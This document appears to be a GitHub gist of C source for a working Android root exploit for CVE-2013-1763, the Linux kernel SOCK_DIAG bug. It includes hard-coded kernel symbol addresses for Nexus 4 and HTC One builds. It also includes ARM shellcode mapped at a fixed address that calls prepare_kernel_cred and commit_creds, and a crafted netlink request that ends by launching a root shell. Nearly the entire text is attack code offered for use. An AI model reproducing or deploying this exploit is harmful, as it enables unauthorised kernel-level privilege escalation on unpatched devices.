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Fuzion24/sock_diag.c

Created February 13, 2014 04:29
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sock_diag.c
/*
* CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
*
* Ported by fuzion24
*
* Tested on Nexus 4
* cshell@mako:/ $ cat /proc/version
* Linux version 3.4.0-perf-gf43c3d9 (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Jun 17 16:55:05 PDT 2013
* shell@mako:/data/local/tmp $ ./diag_sock_exploit
* Sock diag handlers c11d8048
* mmapping at 0x340000, size = 0x200000
* uid=0, euid=0
*/
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
#include <sys/utsname.h>
//#define DEBUG
// Have to keep this table for kernel symbols and indexes (the family) to usable sock_diag_handlers
// having kallsyms would make this easier, but wouldn't necessarily allow us to chose the correct index into sock_diag_handler
static const struct
{
const char* release; // parameters from uname() to identify the running kernel
const char* version;
const char* description; // human-readable description
__u32 commit_creds; // address from kallsyms
__u32 prepare_kernel_cred; // address from kallsyms
__u32 mmap_start; // address to mmap
__u32 mmap_size; // length to mmap
__u8 family;
} deviceParamTable[] =
{
{
"3.4.0-perf-gf43c3d9",
"#1 SMP PREEMPT Mon Jun 17 16:55:05 PDT 2013",
"Nexus 4 - google/occam/mako:4.3/JWR66Y/776638:user/release-keys",
0xc008e138,
0xc008e674,
0x340000,
0x200000,
148
},
{
"3.4.10-g1cbcae4",
"#1 SMP PREEMPT Fri Oct 4 17:56:23 CST 2013",
"HTC One - T-Mobile",
0xc00b4e00,
0xc00b5338,
0x340000,
0x200000,
130
},
{
"3.4.10-g3e91b8d",
"#1 SMP PREEMPT Fri Nov 8 01:11:22 CST 2013",
"HTC One - Verizon",
0xc00b21b8,
0xc00b2694,
0x330000,
0x300000,
149
},
{
"3.4.10-g40851b1",
"#1 SMP PREEMPT Fri Nov 15 02:33:16 CST 2013",
"HTC One - Verizon",
0xc00c4958,
0xc00c4e90,
0x330000,
0x300000,
130
}
};
int main(int argc, char*argv[])
{
int fd;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
__u32 commit_creds = 0;
__u32 prepare_kernel_cred = 0;
__u32 mmap_start = 0;
__u32 mmap_size = 0;
__u8 family = 0;
#ifdef DEBUG
if ( argc >= 2 )
{
if ((family = atoi (argv[1])) <= 0)
{
fprintf(stderr, "Usage: %s AF_NETLINK_FAMILY\n", argv[0]); exit(1);
}
printf("Family value from cmdline %d\n", family);
}
#else
// determine which kernel we're running with
struct utsname name;
uname( &name );
int i;
int cnt = sizeof( deviceParamTable ) / sizeof( deviceParamTable[ 0 ] );
for( i = 0; i < cnt; i++ )
{
if( !strcmp( deviceParamTable[ i ].release, name.release )
&& !strcmp( deviceParamTable[ i ].version, name.version ) )
{
printf( "[+] using parameters for %s\n", deviceParamTable[ i ].description );
mmap_start = deviceParamTable[ i ].mmap_start;
mmap_size = deviceParamTable[ i ].mmap_size;
family = deviceParamTable[ i ].family;
commit_creds = deviceParamTable[ i ].commit_creds;
prepare_kernel_cred = deviceParamTable[ i ].prepare_kernel_cred;
break;
}
}
if( !commit_creds || !prepare_kernel_cred || !mmap_start || !mmap_size || !family )
{
printf( "[-] Unrecognized kernel %s %s\n", name.release, name.version );
return 1;
}
#endif
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
bzero(&req, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
req.r.sdiag_family = family;
#ifndef DEBUG
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
perror( "mmap" );
exit(1);
}
//0x00000000 is nop for ARM
bzero( (void*)mmap_start, mmap_size );
__u32 jump[] = {
//00000000 <_start>:
/* 0:*/ 0xe92d4010, // push {r4, lr}
/* 4:*/ 0xe59f3010, // ldr r3, [pc, #16] ; 1c <_start+0x1c> (prepare_kernel_creds)
/* 8:*/ 0xe3a00000, // mov r0, #0
/* c:*/ 0xe12fff33, // blx r3
/* 10:*/ 0xe59f3008, // ldr r3, [pc, #8] ; 20 <_start+0x20> (commit_creds)
/* 14:*/ 0xe12fff33, // blx r3
/* 18:*/ 0xe8bd8010, // pop {r4, pc}
/* 1c:*/ prepare_kernel_cred, // .word prepare_kernel_cred
/* 20:*/ commit_creds // .word commit_creds
};
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
#endif
if ( send(fd, &req, sizeof(req), 0) < 0) {
printf("bad send\n");
close(fd);
return -1;
}
printf("uid=%d, euid=%d\n",getuid(), geteuid() );
if(!getuid())
execl( "/system/bin/sh", "sh", (char*) NULL);
}
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